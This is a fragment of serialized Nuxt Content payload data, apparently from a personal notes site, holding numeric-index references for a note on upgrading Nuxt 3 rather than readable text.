version",{},"\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",{"title":1083,"description":1120},{"loc":1122},"notes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",[1127,819,153],"nuxt","dM5MoKBMK4iO3YLcsO41-7FRCbfQBNHrd0MQxnAIkWM",{"id":4,"title":5,"author":6,"body":1130,"date":140,"description":141,"extension":142,"image":143,"meta":1210,"navigation":145,"path":146,"seo":1211,"sitemap":1212,"stem":149,"tags":1213,"__hash__":155},{"type":8,"value":1131,"toc":1208},[1132,1134,1136,1148,1154,1206],[11,1133,5],{"id":13},[15,1135,17],{},[19,1137,1138],{"className":21,"code":22,"language":23,"meta":24,"style":24},[26,1139,1140],{"__ignoreMap":24},[29,1141,1142,1144,1146],{"class":31,"line":32},[29,1143,36],{"class":35},[29,1145,40],{"class":39},[29,1147,43],{"class":39},[15,1149,46,1150,50,1152,54],{},[26,1151,49],{},[26,1153,53],{},[19,1155,1156],{"className":21,"code":57,"language":23,"meta":24,"style":24},[26,1157,1158],{"__ignoreMap":24},[29,1159,1160,1162,1164,1166,1168,1170,1172,1174,1176,1178,1180,1182,1184,1186,1188,1190,1192,1194,1196,1198,1200,1202,1204],{"class":31,"line":32},[29,1161,65],{"class":64},[29,1163,69],{"class":68},[29,1165,72],{"class":64},[29,1167,75],{"class":39},[29,1169,78],{"class":68},[29,1171,81],{"class":64},[29,1173,84],{"class":35},[29,1175,88],{"class":87},[29,1177,91],{"class":39},[29,1179,94],{"class":68},[29,1181,97],{"class":39},[29,1183,100],{"class":87},[29,1185,103],{"class":87},[29,1187,106],{"class":87},[29,1189,109],{"class":39},[29,1191,112],{"class":39},[29,1193,115],{"class":68},[29,1195,118],{"class":64},[29,1197,121],{"class":39},[29,1199,124],{"class":64},[29,1201,127],{"class":39},[29,1203,78],{"class":68},[29,1205,132],{"class":64},[134,1207,136],{},{"title":24,"searchDepth":138,"depth":138,"links":1209},[],{},{"title":5,"description":141},{"loc":146},[151,152,153,154],[1215],{"id":4,"title":5,"author":6,"body":1216,"date":140,"description":141,"extension":142,"image":143,"meta":1296,"navigation":145,"path":146,"seo":1297,"sitemap":1298,"stem":149,"tags":1299,"__hash__":155},{"type":8,"value":1217,"toc":1294},[1218,1220,1222,1234,1240,1292],[11,1219,5],{"id":13},[15,1221,17],{},[19,1223,1224],{"className":21,"code":22,"language":23,"meta":24,"style":24},[26,1225,1226],{"__ignoreMap":24},[29,1227,1228,1230,1232],{"class":31,"line":32},[29,1229,36],{"class":35},[29,1231,40],{"class":39},[29,1233,43],{"class":39},[15,1235,46,1236,50,1238,54],{},[26,1237,49],{},[26,1239,53],{},[19,1241,1242],{"className":21,"code":57,"language":23,"meta":24,"style":24},[26,1243,1244],{"__ignoreMap":24},[29,1245,1246,1248,1250,1252,1254,1256,1258,1260,1262,1264,1266,1268,1270,1272,1274,1276,1278,1280,1282,1284,1286,1288,1290],{"class":31,"line":32},[29,1247,65],{"class":64},[29,1249,69],{"class":68},[29,1251,72],{"class":64},[29,1253,75],{"class":39},[29,1255,78],{"class":68},[29,1257,81],{"class":64},[29,1259,84],{"class":35},[29,1261,88],{"class":87},[29,1263,91],{"class":39},[29,1265,94],{"class":68},[29,1267,97],{"class":39},[29,1269,100],{"class":87},[29,1271,103],{"class":87},[29,1273,106],{"class":87},[29,1275,109],{"class":39},[29,1277,112],{"class":39},[29,1279,115],{"class":68},[29,1281,118],{"class":64},[29,1283,121],{"class":39},[29,1285,124],{"class":64},[29,1287,127],{"class":39},[29,1289,78],{"class":68},[29,1291,132],{"class":64},[134,1293,136],{},{"title":24,"searchDepth":138,"depth":138,"links":1295},[],{},{"title":5,"description":141},{"loc":146},[151,152,153,154],1776084468190]